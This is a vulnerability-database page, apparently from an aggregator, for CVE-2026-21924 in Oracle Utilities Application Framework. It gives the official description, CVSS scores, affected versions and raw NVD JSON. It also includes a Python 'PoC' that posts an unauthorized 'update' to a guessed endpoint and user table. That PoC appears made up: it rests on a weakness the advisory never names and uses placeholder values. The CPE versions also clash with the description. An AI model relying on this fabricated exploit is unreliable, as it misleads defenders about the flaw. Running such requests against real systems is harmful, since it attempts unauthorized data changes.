Security Vulnerability Report
中文
CVE-2026-21924 CVSS 5.4 MEDIUM

CVE-2026-21924

Published: 2026-01-20 22:15:55
Last Modified: 2026-01-29 21:23:21

Description

Vulnerability in the Oracle Utilities Application Framework product of Oracle Utilities Applications (component: General). Supported versions that are affected are 4.4.0.3.0, 4.5.0.0.0, 4.5.0.1.1, 4.5.0.1.3, 4.5.0.2.0, 25.4 and 25.10. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Utilities Application Framework. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Utilities Application Framework, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Utilities Application Framework accessible data as well as unauthorized read access to a subset of Oracle Utilities Application Framework accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:utilities_framework:4.3.0.3.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:utilities_framework:4.5.0.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:utilities_framework:4.5.0.1.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:utilities_framework:4.5.0.1.3:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:oracle:utilities_framework:4.5.0.2.0:*:*:*:*:*:*:* - VULNERABLE
Oracle Utilities Application Framework 4.4.0.3.0
Oracle Utilities Application Framework 4.5.0.0.0
Oracle Utilities Application Framework 4.5.0.1.1
Oracle Utilities Application Framework 4.5.0.1.3
Oracle Utilities Application Framework 4.5.0.2.0
Oracle Utilities Application Framework 25.4
Oracle Utilities Application Framework 25.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-21924 PoC - Oracle Utilities Application Framework Unauthorized Data Access # Target: Oracle Utilities Application Framework # Component: General def exploit_cve_2026_21924(target_url, session_cookie): """ PoC for CVE-2026-21924 This demonstrates unauthorized data access via HTTP requests """ headers = { 'Cookie': session_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } # Target endpoint (generic example - specific endpoints vary by version) target_endpoint = f"{target_url}/ouaf/general.do" # Malicious data payload that exploits insufficient input validation payload = { 'action': 'update', 'tableName': 'CM_USER', # Example table 'field1': 'value1', 'field2': 'malicious_value' # Unauthorized modification } try: # Send exploit request response = requests.post(target_endpoint, data=payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[!] Target may be vulnerable to CVE-2026-21924") print(f"[*] Response: {response.text[:500]}") else: print(f"[*] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: python {sys.argv[0]} https://oracle-utils.local 'JSESSIONID=xxxxx'") sys.exit(1) exploit_cve_2026_21924(sys.argv[1], sys.argv[2])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21924", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:54.790", "lastModified": "2026-01-29T21:23:21.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Utilities Application Framework product of Oracle Utilities Applications (component: General). Supported versions that are affected are 4.4.0.3.0, 4.5.0.0.0, 4.5.0.1.1, 4.5.0.1.3, 4.5.0.2.0, 25.4 and 25.10. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Utilities Application Framework. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Utilities Application Framework, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Utilities Application Framework accessible data as well as unauthorized read access to a subset of Oracle Utilities Application Framework accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Utilities Application Framework de Oracle Utilities Applications (componente: General). Las versiones soportadas que están afectadas son 4.4.0.3.0, 4.5.0.0.0, 4.5.0.1.1, 4.5.0.1.3, 4.5.0.2.0, 25.4 y 25.10. La vulnerabilidad fácilmente explotable permite a un atacante con pocos privilegios y acceso a la red vía HTTP comprometer Oracle Utilities Application Framework. Los ataques exitosos requieren interacción humana de una persona distinta al atacante y, aunque la vulnerabilidad está en Oracle Utilities Application Framework, los ataques pueden impactar significativamente productos adicionales (cambio de alcance). Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de actualización, inserción o eliminación a algunos de los datos accesibles de Oracle Utilities Application Framework, así como acceso de lectura no autorizado a un subconjunto de los datos accesibles de Oracle Utilities Application Framework. Puntuación Base CVSS 3.1 de 5.4 (impactos en la Confidencialidad e Integridad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:utilities_framework:4.3.0.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "2224F133-2D7D-4F3A-995A-31599C579ADB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:utilities_framework:4.5.0.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "7CB808D4-FFFD-4488-A2AB-C31B8372A26D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:utilities_framework:4.5.0.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "A97D67DC-53C9-4BD7-A037-909F027961F2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:utilities_framework:4.5.0.1.3:*:*:*:*:*:*:*", "matchCriteriaId": "E1FF292A-DDD6-498B-B903-5DA70FA560D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:utilities_framework:4.5.0.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "AE1385E2-0AB9-41AA-BADF-755A6B7A110C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:utilities_framework:25.4:*:*:*:*:*:*:*", "matchCriteriaId": "00C7F6C8-B2EC-4E6C-AF54-F939FCA9D040"}, {"vulnerable": true, "criteria": "cpe:2.3:a:oracle:utilities_framework:25.10:*:*:*:*:*:*:*", "matchCriteriaId": "76119EF9-7806-42BD-A057-BDEA56695600"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}